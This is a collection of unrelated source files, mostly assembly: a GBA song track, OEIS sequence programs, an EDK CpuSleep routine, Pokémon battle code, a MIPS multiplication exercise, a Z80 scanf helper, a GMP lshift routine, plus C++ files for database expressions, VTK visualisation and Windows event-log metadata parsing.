033 ---------------------------------------- .byte PATT .word @song125restored_7_027 ; 034 ---------------------------------------- .byte PATT .word @song125restored_7_025 ; 035 ---------------------------------------- .byte W28 .byte N68 , Gn2 , v088 .byte W68 ; 036 ---------------------------------------- .byte W04 .byte N56 , Ds2 .byte W60 .byte N11 , Cs2 , v052 .byte W12 .byte Ds3 .byte W12 .byte N11 .byte W08 ; 037 ---------------------------------------- @song125restored_7_037: .byte W04 .byte N11 , Ds3 , v052 .byte W12 .byte N11 .byte W12 .byte N11 .byte W12 .byte N11 .byte W12 .byte N11 .byte W12 .byte N11 .byte W12 .byte N11 .byte W12 .byte N11 .byte W08 .byte PEND ; 038 ---------------------------------------- .byte PATT .word @song125restored_7_037 ; 039 ---------------------------------------- .byte PATT .word @song125restored_7_037 ; 040 ---------------------------------------- .byte PATT .word @song125restored_7_037 ; 041 ---------------------------------------- .byte PATT .word @song125restored_7_037 ; 042 ---------------------------------------- .byte W04 .byte N11 , Ds3 , v052 .byte W12 .byte N11 .byte W12 .byte N11 .byte W12 .byte N11 .byte W12 .byte N11 .byte W12 .byte N11 .byte W09 .byte VOL , 10*song125restored_mvl/mxv .byte W09 .byte 11*song125restored_mvl/mxv .byte W08 .byte 10*song125restored_mvl/mxv .byte W04 .byte N04 , Gs1 , v088 .byte W02 ; 043 ---------------------------------------- .byte W03 .byte VOL , 11*song125restored_mvl/mxv .byte W01 .byte 10*song125restored_mvl/mxv .byte N04 , As1 .byte W06 .byte Gs2 .byte W06 .byte Bn2 .byte W06 .byte Ds3 .byte W06 .byte Fs3 .byte W06 .byte Ds3 .byte W06 .byte Bn2 .byte W06 .byte Gs2 .byte W06 .byte Fs2 .byte W06 .byte Ds2 .byte W06 .byte N04 .byte W06 .byte Gs1 .byte W06 .byte As1 .byte W06 .byte Gs2 .byte W06 .byte Bn2 .byte W06 .byte Ds3 .byte W02 ; 044 ---------------------------------------- .byte W04 .byte Fs3 .byte W06 .byte Ds3 .byte W06 .byte Bn2 .byte W06 .byte Gs2 .byte W06 .byte Fs2 .byte W06 .byte Ds2 .byte W06 .byte N04 .byte W06 .byte Gs1 .byte W06 .byte As1 .byte W06 .byte Gs2 .byte W06 .byte Bn2 .byte W06 .byte Ds3 .byte W06 .byte Fs3 .byte W06 .byte Ds3 .byte W06 .byte Bn2 .byte W06 .byte Gs2 .byte W02 ; 045 ---------------------------------------- .byte W04 .byte Fs2 .byte W06 .byte Ds2 .byte W06 .byte N04 .byte W06 .byte Gs1 .byte W06 .byte As1 .byte W06 .byte Gs2 .byte W06 .byte Bn2 .byte W06 .byte Ds3 .byte W06 .byte Fs3 .byte W06 .byte Ds3 .byte W06 .byte Bn2 .byte W06 .byte Gs2 .byte W06 .byte Fs2 .byte W06 .byte Ds2 .byte W06 .byte As3 .byte W06 .byte Gn3 .byte W02 ; 046 ---------------------------------------- .byte W04 .byte Ds3 .byte W06 .byte Cs3 .byte W06 .byte As2 .byte W06 .byte Gn2 .byte W06 .byte Ds3 .byte W06 .byte Cs3 .byte W06 .byte As2 .byte W06 .byte Gn2 .byte W06 .byte Ds2 .byte W06 .byte Cs2 .byte W06 .byte As2 .byte W06 .byte Gn2 .byte W06 .byte Ds2 .byte W06 .byte Cs2 .byte W06 .byte As1 .byte W06 .byte Fs1 .byte W02 ; 047 ---------------------------------------- .byte W04 .byte Gn2 .byte W06 .byte Ds2 .byte W06 .byte Cs2 .byte W06 .byte Bn1 .byte W06 .byte As1 .byte W06 .byte Gs1 .byte W06 .byte As3 .byte W06 .byte Gn3 .byte W06 .byte Ds3 .byte W06 .byte Cs3 .byte W06 .byte As2 .byte W06 .byte Gn2 .byte W06 .byte Ds3 .byte W06 .byte Cs3 .byte W06 .byte As2 .byte W06 .byte Gn2 .byte W02 ; 048 ---------------------------------------- .byte W04 .byte Ds2 .byte W06 .byte Cs2 .byte W06 .byte As2 .byte W06 .byte Gn2 .byte W06 .byte Ds2 .byte W06 .byte Cs2 .byte W06 .byte As1 .byte W06 .byte Gs1 .byte W06 .byte N22 , Gn1 .byte W44 ; 049 ---------------------------------------- .byte W48 .byte VOL , 39*song125restored_mvl/mxv .byte W44 .byte W03 .byte VOICE , 10 .byte PAN , c_v+0 .byte VOL , 39*song125restored_mvl/mxv .byte BEND , c_v+0 .byte W01 ; 050 ---------------------------------------- .byte VOICE , 10 .byte BENDR , 12 .byte PAN , c_v+0 .byte VOL , 39*song125restored_mvl/mxv .byte BENDR , 12 .byte PAN , c_v+0 .byte VOL , 39*song125restored_mvl/mxv .byte BEND , c_v+0 .byte GOTO .word @song125restored_7 ;******************************************************; .align 4 song125restored: .byte 7 ; NumTrks .byte 0 ; NumBlks .byte song125restored_pri ; Priority .byte song125restored_rev ; Reverb. //emit_clean_voicegroup_offset_for_song 125 .word 0x8107538 //Voice Table .word @song125restored_1 .word @song125restored_2 .word @song125restored_3 .word @song125restored_4 .word @song125restored_5 .word @song125restored_6 .word @song125restored_7
; A209722: 1/4 the number of (n+1) X 4 0..2 arrays with every 2 X 2 subblock having distinct clockwise edge differences. ; 4,5,6,8,10,14,18,26,34,50,66,98,130,194,258,386,514,770,1026,1538,2050,3074,4098,6146,8194,12290,16386,24578,32770,49154,65538,98306,131074,196610,262146,393218,524290,786434,1048578,1572866,2097154,3145730,4194306,6291458,8388610,12582914,16777218,25165826,33554434,50331650,67108866,100663298,134217730,201326594,268435458,402653186,536870914,805306370,1073741826,1610612738,2147483650,3221225474,4294967298,6442450946,8589934594,12884901890,17179869186,25769803778,34359738370,51539607554,68719476738,103079215106,137438953474,206158430210,274877906946,412316860418,549755813890,824633720834,1099511627778,1649267441666,2199023255554,3298534883330,4398046511106,6597069766658,8796093022210,13194139533314,17592186044418,26388279066626,35184372088834,52776558133250,70368744177666,105553116266498,140737488355330,211106232532994,281474976710658,422212465065986,562949953421314,844424930131970,1125899906842626,1688849860263938,2251799813685250,3377699720527874,4503599627370498,6755399441055746,9007199254740994 mov $2,$0 mod $0,2 mul $2,2 add $2,4 mov $3,$0 mov $0,$2 add $0,15 lpb $0 sub $0,4 mov $1,$3 mul $3,2 add $3,2 lpe div $1,16 add $1,3
;------------------------------------------------------------------------------ ; ; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR> ; This program and the accompanying materials ; are licensed and made available under the terms and conditions of the BSD License ; which accompanies this distribution. The full text of the license may be found at ; http://opensource.org/licenses/bsd-license.php. ; ; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, ; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. ; ; Module Name: ; ; CpuSleep.Asm ; ; Abstract: ; ; CpuSleep function ; ; Notes: ; ;------------------------------------------------------------------------------ .386 .model flat,C .code ;------------------------------------------------------------------------------ ; VOID ; EFIAPI ; CpuSleep ( ; VOID ; ); ;------------------------------------------------------------------------------ CpuSleep PROC hlt ret CpuSleep ENDP END
BattleCommand_transform: ; transform call ClearLastMove ld a, BATTLE_VARS_SUBSTATUS5_OPP call GetBattleVarAddr bit SUBSTATUS_TRANSFORMED, [hl] jp nz, BattleEffect_ButItFailed call CheckHiddenOpponent jp nz, BattleEffect_ButItFailed xor a ld [wNumHits], a ld a, $1 ld [wKickCounter], a ld a, BATTLE_VARS_SUBSTATUS4 call GetBattleVarAddr bit SUBSTATUS_SUBSTITUTE, [hl] push af jr z, .mimic_substitute call CheckUserIsCharging jr nz, .mimic_substitute ld hl, SUBSTITUTE call GetMoveIDFromIndex call LoadAnim .mimic_substitute ld a, BATTLE_VARS_SUBSTATUS5 call GetBattleVarAddr set SUBSTATUS_TRANSFORMED, [hl] call ResetActorDisable ld hl, wBattleMonSpecies ld de, wEnemyMonSpecies ldh a, [hBattleTurn] and a jr nz, .got_mon_species ld hl, wEnemyMonSpecies ld de, wBattleMonSpecies xor a ld [wCurMoveNum], a .got_mon_species push hl ld a, [hli] ld [de], a inc hl inc de inc de ld bc, NUM_MOVES call CopyBytes ldh a, [hBattleTurn] and a jr z, .mimic_enemy_backup ld a, [de] ld [wEnemyBackupDVs], a inc de ld a, [de] ld [wEnemyBackupDVs + 1], a dec de .mimic_enemy_backup ; copy DVs ld a, [hli] ld [de], a inc de ld a, [hli] ld [de], a inc de ; move pointer to stats ld bc, wBattleMonStats - wBattleMonPP add hl, bc push hl ld h, d ld l, e add hl, bc ld d, h ld e, l pop hl ld bc, wBattleMonStructEnd - wBattleMonStats call CopyBytes ; init the power points ld bc, wBattleMonMoves - wBattleMonStructEnd add hl, bc push de ld d, h ld e, l pop hl ld bc, wBattleMonPP - wBattleMonStructEnd add hl, bc ld b, NUM_MOVES .pp_loop ld a, [de] inc de and a jr z, .done_move push bc ld bc, SKETCH call CompareMove pop bc ld a, 1 jr z, .done_move ld a, 5 .done_move ld [hli], a dec b jr nz, .pp_loop pop hl ld a, [hl] ld [wNamedObjectIndexBuffer], a call GetPokemonName ld hl, wEnemyStats ld de, wPlayerStats ld bc, 2 * 5 call BattleSideCopy ld hl, wEnemyStatLevels ld de, wPlayerStatLevels ld bc, 8 call BattleSideCopy call _CheckBattleScene jr c, .mimic_anims ldh a, [hBattleTurn] and a ld a, [wPlayerMinimized] jr z, .got_byte ld a, [wEnemyMinimized] .got_byte and a jr nz, .mimic_anims call LoadMoveAnim jr .after_anim .mimic_anims call BattleCommand_movedelay call BattleCommand_raisesubnoanim .after_anim xor a ld [wNumHits], a ld a, $2 ld [wKickCounter], a pop af jr z, .no_substitute ld hl, SUBSTITUTE call GetMoveIDFromIndex call LoadAnim .no_substitute ld hl, TransformedText jp StdBattleTextbox BattleSideCopy: ; Copy bc bytes from hl to de if it's the player's turn. ; Copy bc bytes from de to hl if it's the enemy's turn. ldh a, [hBattleTurn] and a jr z, .copy ; Swap hl and de push hl ld h, d ld l, e pop de .copy jp CopyBytes
#include "abstract_predicate_expression.hpp" #include <sstream> #include "boost/functional/hash.hpp" #include "expression/evaluation/expression_evaluator.hpp" namespace opossum { AbstractPredicateExpression::AbstractPredicateExpression( const PredicateCondition predicate_condition, const std::vector<std::shared_ptr<AbstractExpression>>& arguments) : AbstractExpression(ExpressionType::Predicate, arguments), predicate_condition(predicate_condition) {} DataType AbstractPredicateExpression::data_type() const { return ExpressionEvaluator::DataTypeBool; } bool AbstractPredicateExpression::_shallow_equals(const AbstractExpression& expression) const { return predicate_condition == static_cast<const AbstractPredicateExpression&>(expression).predicate_condition; } size_t AbstractPredicateExpression::_on_hash() const { return boost::hash_value(static_cast<size_t>(predicate_condition)); } } // namespace opossum
# Algoritmo de Multiplicação utilizando shift e soma # Grupo: Beatriz Maia, Luana Costa e Sophie Dilhon # Nov/2020 #------------------------------------------------------------------------------- .data input: .asciiz "Digite a entrada:\n" texto1: .asciiz "Multiplicando " texto2: .asciiz " por " texto3: .asciiz "\n" multiplicador: .word 10 multiplicando: .word 10 .text # Vamos utilizar os seguintes registradores: # $s0 = multiplicador # $s1 = multiplicando # $s2 = HI # $s3 = LO #------------------------------------------------------------------------------- Main: jal EntradaDados #jal EntradaTerminal # Mult para verificar se o valor de HI e LO eh igual a $s2 e $s3, respectivamente mult $s1, $s0 # Verifica se um dos numeros eh igual a 0 add $a0, $s0, $0 jal SeZero add $a0, $s1, $0 jal SeZero # Coloca em $s0 o menor numero e em $s1 o maior numero slt $t0, $s1, $s0 beq $t0, $0, continua add $t1, $s0, $0 add $s0, $s1, $0 add $s1, $t1, $0 continua: # Verifica sinal de s0 e s1 slt $t0, $s0, $0 # sinal de s0 slt $t1, $s1, $0 # sinal de s1 # Verifica se s0 eh negativo add $a0, $s0, $zero # Parametro 1: s0 (multiplicador) add $a1, $t0, $zero # Parametro 2: t0 (sinal de s0) jal Verifica # Verifica se o numero eh negativo. Se sim, deixa ele positivo (em c2) add $s0, $a0, $zero # Modulo de s0 eh armazenado em s0 # Verifica se s1 eh negativo add $a0, $s1, $zero # Parametro 1: s1 (multiplicando) add $a1, $t1, $zero # Parametro 2: t1 (sinal de s1) jal Verifica # Verifica se o numero eh negativo. Se sim, deixa ele positivo (em c2) add $s1, $a0, $zero # Modulo de s1 eh armazenado em s1 add $a0, $s0, $zero # Parametro 1: s0 (multiplicador) add $a1, $s1, $zero # Parametro 2: s1 (multiplicando) jal Algoritmo # Verifica se o resultado eh negativo xor $t2, $t0, $t1 beq $t2, $0, FIM # Se negativo, fazer o complemento a 2 jal Resultado # -------------------------------------------------------------------------- # Verificando se algum dos inputs eh zero SeZero: beq $a0, $0, FIM # Se o numero for igual a 0, vai para o label Zero jr $ra # Verificando se algum dos inputs eh < 0 Verifica: bne $0, $a1, Negativo # Se o sinal for negativo jr $ra # Para fazer complemento a 2 Negativo: xori $a0, $a0, 0xffffffff # Or entre o numero e 0xffffffff addiu $a0, $a0, 1 # Soma 1 jr $ra # Algoritmo de multiplicacao utilizando shift e soma Algoritmo: VerSignificativo: andi $t2, $a0, 1 beq $t2, $0, Shift # Verifica se o bit menos significativo eh 0 Soma: addu $t4, $a1, $s3 # Soma o LO do multiplicando + LO do produto e coloca o resultado em $t4 sltu $t5, $t4, $s3 # Verifica se a soma total eh menor que o LO do produto ($s3). Guarda 1 se sim em $t5 sltu $t6, $t4, $a1 # Verifica se a soma total eh menor que o Lo do multiplicando ($a1). Guarda 1 se sim em $t6 addu $s3, $t4, $0 # Coloca a soma anterior no LO do produto ($s3) addu $s2, $s2, $a2 # Soma o HI do produto ($s2) e o HI do multiplcando ($a2) or $t7, $t6, $t5 # Faz um or entra $t5 e $t6. Quando a soma eh maior que os dois numeros, $t7 = 0 beq $t7, $0, Shift # Se $t7 = 0, vai para Shift addiu $s2, $s2, 1 # Se nao for = 0: Bit do carry no HI do produto (soma o HI do produto ($s2) com 1) Shift: srl $a0, $a0, 1 # Shift right no multiplicador andi $t3, $a1, 0x80000000 # and com 1000... e LO do multiplicando ($a1) sll $a2, $a2, 1 # Shift left no multiplicando HI ($a2) sll $a1, $a1, 1 # Shift left no multiplicando LO ($a1) beq $t3, $0, VerContador # se o resultado do and eh 0, so da shift no lo HI: addiu $a2, $a2, 1 # Soma 1 no Hi VerContador: bne $a0, $0, VerSignificativo # Verifica se o multiplier eh igual a 0 jr $ra # Transformacao do resultado para negativo Resultado: beq $s3, $0, LOZero # LO add $a0, $s3, $zero # Parametro 1: $s3 (LO do resultado) jal Negativo # Transforma de positivo para negativo (c2) add $s3, $a0, $zero # Numero em c2 (LO) # HI xori $s2, $s2, 0xffffffff # Or entre o numero e 0xffffffff j FIM # Caso o registrador dos bits menos significativos forem todos o LOZero: # HI add $a0, $s2, $zero # Parametro 1: $s2 (HI do resultado) jal Negativo # Transforma de positivo para negativo (c2) add $s2, $a0, $zero # Numero em c2 j FIM # Fim do programa FIM: addi $v0, $0, 10 syscall # Leitura de dados pelo .data EntradaDados: lw $s0, multiplicador lw $s1, multiplicando # Leitura de dados pelo terminal EntradaTerminal: # Carregando strings la $t0, input la $t1, texto1 la $t2, texto2 la $t3, texto3 # Criando a entrada addi $v0, $0, 4 add $a0, $t0, $0 syscall addi $v0, $0, 5 syscall add $s1, $v0, $0 addi $v0, $0, 5 syscall add $s0, $v0, $0 # Mostrando a entrada addi $v0, $0, 4 add $a0, $t1, $0 syscall addi $v0, $0, 1 add $a0, $s1, $0 syscall addi $v0, $0, 4 add $a0, $t2, $0 syscall addi $v0, $0, 1 add $a0, $s0, $0 syscall addi $v0, $0, 4 add $a0, $t3, $0 syscall jr $ra
SECTION code_clib SECTION code_stdio PUBLIC __stdio_scanf_number_tail_int __stdio_scanf_number_tail_int: ; enter : de = int *p ; hl = integer ; ; carry flag state set by strtoi / strtou ; ; carry reset, number is valid ; ; carry set, number valid only if hl != 0 jr nc, number_valid ld a,h or l jr z, number_invalid number_valid: ; enter : de = int *p ; hl = integer ; WRITE INTEGER TO INT *P ld a,d or e ret z ; if assignment is suppressed exx inc hl ; items assigned++ exx ex de,hl ld (hl),e inc hl ld (hl),d ; *p = integer ret number_invalid: scf ret
#include <vtkVersion.h> #include <vtkSmartPointer.h> #include <vtkSampleFunction.h> #include <vtkSphereSource.h> #include <vtkCone.h> #include <vtkGlyph3D.h> #include <vtkProbeFilter.h> #include <vtkPointSource.h> #include <vtkThreshold.h> #include <vtkThresholdPoints.h> #include <vtkImageData.h> #include <vtkPointData.h> #include <vtkDataSetMapper.h> #include <vtkProperty.h> #include <vtkActor.h> #include <vtkRenderWindow.h> #include <vtkRenderer.h> #include <vtkRenderWindowInteractor.h> #include <vtkUnsignedCharArray.h> int main(int argc, char *argv[]) { int resolution = 50; if (argc > 1) { resolution = atoi(argv[1]); } // Create a sampled cone vtkSmartPointer<vtkCone> implicitCone = vtkSmartPointer<vtkCone>::New(); implicitCone->SetAngle(30.0); double radius = 1.0; vtkSmartPointer<vtkSampleFunction> sampledCone = vtkSmartPointer<vtkSampleFunction>::New(); sampledCone->SetSampleDimensions(resolution, resolution, resolution); double xMin = -radius * 2.0; double xMax = radius * 2.0; sampledCone->SetModelBounds(xMin, xMax, xMin, xMax, xMin, xMax); sampledCone->SetImplicitFunction(implicitCone); vtkSmartPointer<vtkThreshold> thresholdCone = vtkSmartPointer<vtkThreshold>:: New(); thresholdCone->SetInputConnection(sampledCone->GetOutputPort()); thresholdCone->ThresholdByLower(0); vtkSmartPointer<vtkPointSource> randomPoints = vtkSmartPointer<vtkPointSource>::New(); randomPoints->SetCenter (0.0, 0.0, 0.0); randomPoints->SetNumberOfPoints(10000); randomPoints->SetDistributionToUniform(); randomPoints->SetRadius(xMax); // Probe the cone dataset with random points vtkSmartPointer<vtkProbeFilter> randomProbe = vtkSmartPointer<vtkProbeFilter>::New(); randomProbe->SetInputConnection(0, randomPoints->GetOutputPort()); randomProbe->SetInputConnection(1, thresholdCone->GetOutputPort()); randomProbe->Update(); randomProbe->GetOutput()->GetPointData()->SetActiveScalars("vtkValidPointMask"); vtkSmartPointer<vtkThresholdPoints> selectPoints = vtkSmartPointer<vtkThresholdPoints>::New(); selectPoints->SetInputConnection(randomProbe->GetOutputPort()); selectPoints->ThresholdByUpper(1.0); vtkSmartPointer<vtkSphereSource> sphere = vtkSmartPointer<vtkSphereSource>::New(); sphere->SetRadius(.05); vtkSmartPointer<vtkGlyph3D> glyph = vtkSmartPointer<vtkGlyph3D>::New(); #if VTK_MAJOR_VERSION <= 5 glyph->SetSource(sphere->GetOutput()); glyph->SetInput(selectPoints->GetOutput()); #else glyph->SetSourceConnection(sphere->GetOutputPort()); glyph->SetInputConnection(selectPoints->GetOutputPort()); #endif // Create a mapper and actor vtkSmartPointer<vtkDataSetMapper> mapper = vtkSmartPointer<vtkDataSetMapper>::New(); mapper->SetInputConnection(glyph->GetOutputPort()); mapper->ScalarVisibilityOff(); vtkSmartPointer<vtkActor> actor = vtkSmartPointer<vtkActor>::New(); actor->SetMapper(mapper); // Visualize vtkSmartPointer<vtkRenderer> renderer = vtkSmartPointer<vtkRenderer>::New(); vtkSmartPointer<vtkRenderWindow> renderWindow = vtkSmartPointer<vtkRenderWindow>::New(); renderWindow->AddRenderer(renderer); vtkSmartPointer<vtkRenderWindowInteractor> renderWindowInteractor = vtkSmartPointer<vtkRenderWindowInteractor>::New(); renderWindowInteractor->SetRenderWindow(renderWindow); renderer->AddActor(actor); renderer->SetBackground(.1, .5, .8); renderWindow->Render(); renderWindowInteractor->Start(); return EXIT_SUCCESS; }
; A024630: n written in fractional base 4/2. ; 0,1,2,3,20,21,22,23,200,201,202,203,220,221,222,223,2000,2001,2002,2003,2020,2021,2022,2023,2200,2201,2202,2203,2220,2221,2222,2223,20000,20001,20002,20003,20020,20021,20022,20023,20200,20201,20202,20203,20220,20221,20222,20223,22000,22001,22002,22003,22020,22021,22022,22023,22200,22201,22202,22203,22220,22221,22222,22223,200000,200001,200002,200003,200020,200021,200022,200023,200200,200201,200202,200203,200220,200221,200222,200223,202000,202001,202002,202003,202020,202021,202022,202023,202200,202201,202202,202203,202220,202221,202222,202223,220000,220001,220002,220003,220020,220021,220022,220023,220200,220201,220202,220203,220220,220221,220222,220223,222000,222001,222002,222003,222020,222021,222022,222023,222200,222201,222202,222203,222220,222221,222222,222223,2000000,2000001,2000002,2000003,2000020,2000021,2000022,2000023,2000200,2000201,2000202,2000203,2000220,2000221,2000222,2000223,2002000,2002001,2002002,2002003,2002020,2002021,2002022,2002023,2002200,2002201,2002202,2002203,2002220,2002221,2002222,2002223,2020000,2020001,2020002,2020003,2020020,2020021,2020022,2020023,2020200,2020201,2020202,2020203,2020220,2020221,2020222,2020223,2022000,2022001,2022002,2022003,2022020,2022021,2022022,2022023,2022200,2022201,2022202,2022203,2022220,2022221,2022222,2022223,2200000,2200001,2200002,2200003,2200020,2200021,2200022,2200023,2200200,2200201,2200202,2200203,2200220,2200221,2200222,2200223,2202000,2202001,2202002,2202003,2202020,2202021,2202022,2202023,2202200,2202201,2202202,2202203,2202220,2202221,2202222,2202223,2220000,2220001,2220002,2220003,2220020,2220021,2220022,2220023,2220200,2220201,2220202,2220203,2220220,2220221,2220222,2220223,2222000,2222001,2222002,2222003,2222020,2222021,2222022,2222023,2222200,2222201 mov $2,$0 sub $0,2 div $0,2 add $0,1 cal $0,228071 ; Write n in binary and interpret as a decimal number; a(n) is this quantity minus n. mul $0,2 mov $1,$0 add $1,$2
#include <windows.h> #include "MetadataWalker.h" #include "XMLString.h" #include <strsafe.h> namespace org { namespace apache { namespace nifi { namespace minifi { namespace wel { bool MetadataWalker::for_each(pugi::xml_node &node) { // don't shortcut resolution here so that we can log attributes. const std::string node_name = node.name(); if (node_name == "Data") { for (pugi::xml_attribute attr : node.attributes()) { const auto idUpdate = [&](const std::string &input) { if (resolve_) { const auto resolved = utils::OsUtils::userIdToUsername(input); replaced_identifiers_[input] = resolved; return resolved; } replaced_identifiers_[input] = input; return input; }; if (std::regex_match(attr.name(), regex_)) { updateText(node, attr.name(), idUpdate); } if (std::regex_match(attr.value(), regex_)) { updateText(node, attr.value(), idUpdate); } } if (resolve_) { std::string nodeText = node.text().get(); std::vector<std::string> ids = getIdentifiers(nodeText); for (const auto &id : ids) { auto resolved = utils::OsUtils::userIdToUsername(id); std::string replacement = "%{" + id + "}"; replaced_identifiers_[id] = resolved; replaced_identifiers_[replacement] = resolved; nodeText = utils::StringUtils::replaceAll(nodeText, replacement, resolved); } node.text().set(nodeText.c_str()); } } else if (node_name == "TimeCreated") { metadata_["TimeCreated"] = node.attribute("SystemTime").value(); } else if (node_name == "EventRecordID") { metadata_["EventRecordID"] = node.text().get(); } else if (node_name == "Provider") { metadata_["Provider"] = node.attribute("Name").value(); } else if (node_name == "EventID") { metadata_["EventID"] = node.text().get(); } else { static std::map<std::string, EVT_FORMAT_MESSAGE_FLAGS> formatFlagMap = { {"Channel", EvtFormatMessageChannel}, {"Keywords", EvtFormatMessageKeyword}, {"Level", EvtFormatMessageLevel}, {"Opcode", EvtFormatMessageOpcode}, {"Task",EvtFormatMessageTask} }; auto it = formatFlagMap.find(node_name); if (it != formatFlagMap.end()) { std::function<std::string(const std::string &)> updateFunc = [&](const std::string &input) -> std::string { if (resolve_) { auto resolved = getEventData(it->second); if (!resolved.empty()) { return resolved; } } return input; }; updateText(node, node.name(), std::move(updateFunc)); } else { // no conversion is required here, so let the node fall through } } return true; } std::vector<std::string> MetadataWalker::getIdentifiers(const std::string &text) const { auto pos = text.find("%{"); std::vector<std::string> found_strings; while (pos != std::string::npos) { auto next_pos = text.find("}", pos); if (next_pos != std::string::npos) { auto potential_identifier = text.substr(pos + 2, next_pos - (pos + 2)); std::smatch match; if (potential_identifier.find("S-") != std::string::npos){ found_strings.push_back(potential_identifier); } } pos = text.find("%{", pos + 2); } return found_strings; } std::string MetadataWalker::getMetadata(METADATA metadata) const { switch (metadata) { case LOG_NAME: return log_name_; case SOURCE: return getString(metadata_,"Provider"); case TIME_CREATED: return event_timestamp_str_; case EVENTID: return getString(metadata_,"EventID"); case EVENT_RECORDID: return getString(metadata_, "EventRecordID"); case OPCODE: return getString(metadata_, "Opcode"); case TASK_CATEGORY: return getString(metadata_,"Task"); case LEVEL: return getString(metadata_,"Level"); case KEYWORDS: return getString(metadata_,"Keywords"); case EVENT_TYPE: return std::to_string(event_type_index_); case COMPUTER: return getComputerName(); }; return "N/A"; } std::map<std::string, std::string> MetadataWalker::getFieldValues() const { return fields_values_; } std::map<std::string, std::string> MetadataWalker::getIdentifiers() const { return replaced_identifiers_; } std::string MetadataWalker::updateXmlMetadata(const std::string &xml, EVT_HANDLE metadata_ptr, EVT_HANDLE event_ptr, bool update_xml, bool resolve, const std::string &regex) { MetadataWalker walker(metadata_ptr,"", event_ptr, update_xml, resolve, regex); pugi::xml_document doc; pugi::xml_parse_result result = doc.load_string(xml.c_str()); if (result) { doc.traverse(walker); wel::XmlString writer; doc.print(writer, "", pugi::format_raw); // no indentation or formatting return writer.xml_; } else { throw std::runtime_error("Could not parse XML document"); } } std::string MetadataWalker::to_string(const wchar_t* pChar) { return std::wstring_convert<std::codecvt_utf8<wchar_t>>().to_bytes(pChar); } void MetadataWalker::updateText(pugi::xml_node &node, const std::string &field_name, std::function<std::string(const std::string &)> &&fn) { std::string previous_value = node.text().get(); auto new_field_value = fn(previous_value); if (new_field_value != previous_value) { metadata_[field_name] = new_field_value; if (update_xml_) { node.text().set(new_field_value.c_str()); } else { fields_values_[field_name] = new_field_value; } } } std::string MetadataWalker::getEventData(EVT_FORMAT_MESSAGE_FLAGS flags) { LPWSTR string_buffer = NULL; DWORD string_buffer_size = 0; DWORD string_buffer_used = 0; DWORD result = 0; std::string event_data; if (metadata_ptr_ == NULL | event_ptr_ == NULL) { return event_data; } if (!EvtFormatMessage(metadata_ptr_, event_ptr_, 0, 0, NULL, flags, string_buffer_size, string_buffer, &string_buffer_used)) { result = GetLastError(); if (ERROR_INSUFFICIENT_BUFFER == result) { string_buffer_size = string_buffer_used; string_buffer = (LPWSTR) malloc(string_buffer_size * sizeof(WCHAR)); if (string_buffer) { if ((EvtFormatMessageKeyword == flags)) string_buffer[string_buffer_size - 1] = L'\0'; EvtFormatMessage(metadata_ptr_, event_ptr_, 0, 0, NULL, flags, string_buffer_size, string_buffer, &string_buffer_used); if ((EvtFormatMessageKeyword == flags)) string_buffer[string_buffer_used - 1] = L'\0'; std::wstring str(string_buffer); event_data = std::string(str.begin(), str.end()); free(string_buffer); } } } return event_data; } } /* namespace wel */ } /* namespace minifi */ } /* namespace nifi */ } /* namespace apache */ } /* namespace org */
; Copyright 2001 Free Software Foundation, Inc. ; ; This file is part of the GNU MP Library. ; ; The GNU MP Library is free software; you can redistribute it and/or ; modify it under the terms of the GNU Lesser General Public License as ; published by the Free Software Foundation; either version 2.1 of the ; License, or (at your option) any later version. ; ; The GNU MP Library is distributed in the hope that it will be useful, ; but WITHOUT ANY WARRANTY; without even the implied warranty of ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ; Lesser General Public License for more details. ; ; You should have received a copy of the GNU Lesser General Public ; License along with the GNU MP Library; see the file COPYING.LIB. If ; not, write to the Free Software Foundation, Inc., 59 Temple Place - ; Suite 330, Boston, MA 02111-1307, USA. ; ; Translation of AT&T syntax code by Brian Gladman %include "..\..\x86i.inc" %define PARAM_SHIFT esp+frame+16 %define PARAM_SIZE esp+frame+12 %define PARAM_SRC esp+frame+8 %define PARAM_DST esp+frame+4 %define frame 8 ; minimum 5,because the unrolled loop can't handle less %define UNROLL_THRESHOLD 5 section .text global ___gmpn_lshift %ifdef DLL export ___gmpn_lshift %endif align 8 ___gmpn_lshift: push ebx push edi mov eax,[PARAM_SIZE] mov edx,[PARAM_DST] mov ebx,[PARAM_SRC] mov ecx,[PARAM_SHIFT] cmp eax,UNROLL_THRESHOLD jae Lunroll mov edi,[-4+ebx+eax*4] ; src high limb dec eax jnz Lsimple shld eax,edi,cl shl edi,cl mov [edx],edi ; dst low limb pop edi ; risk of data cache bank clash pop ebx ret ; eax size-1 ; ebx src ; ecx shift ; edx dst ; esi ; edi ; ebp Lsimple: movd mm5,[ebx+eax*4] ; src high limb movd mm6,ecx ; lshift neg ecx psllq mm5,mm6 add ecx,32 movd mm7,ecx psrlq mm5,32 ; retval ; eax counter,limbs,negative ; ebx src ; ecx ; edx dst ; esi ; edi ; ; mm0 scratch ; mm5 return value ; mm6 shift ; mm7 32-shift Lsimple_top: movq mm0,[ebx+eax*4-4] dec eax psrlq mm0,mm7 movd [4+edx+eax*4],mm0 jnz Lsimple_top movd mm0,[ebx] movd eax,mm5 psllq mm0,mm6 pop edi pop ebx movd [edx],mm0 emms ret ; eax size ; ebx src ; ecx shift ; edx dst ; esi ; edi ; ebp align 8 Lunroll: movd mm5,[ebx+eax*4-4] ; src high limb lea edi,[ebx+eax*4] movd mm6,ecx ; lshift and edi,4 psllq mm5,mm6 jz Lstart_src_aligned ; src isn't aligned,process high limb separately (marked xxx) to ; make it so. ; ; source -8(ebx,%eax,4) ; | ; +-------+-------+-------+-- ; | | ; +-------+-------+-------+-- ; 0mod8 4mod8 0mod8 ; ; dest ; -4(edx,%eax,4) ; | ; +-------+-------+-- ; | xxx | | ; +-------+-------+-- movq mm0,[ebx+eax*4-8] ; unaligned load psllq mm0,mm6 dec eax psrlq mm0,32 movd [edx+eax*4],mm0 Lstart_src_aligned: movq mm1,[ebx+eax*4-8] ; src high qword lea edi,[edx+eax*4] and edi,4 psrlq mm5,32 ; return value movq mm3,[ebx+eax*4-16] ; src second highest qword jz Lstart_dst_aligned ; dst isn't aligned,subtract 4 to make it so,and pretend the shift ; is 32 bits extra. High limb of dst (marked xxx) handled here ; separately. ; ; source -8(ebx,%eax,4) ; | ; +-------+-------+-- ; | mm1 | ; +-------+-------+-- ; 0mod8 4mod8 ; ; dest ; 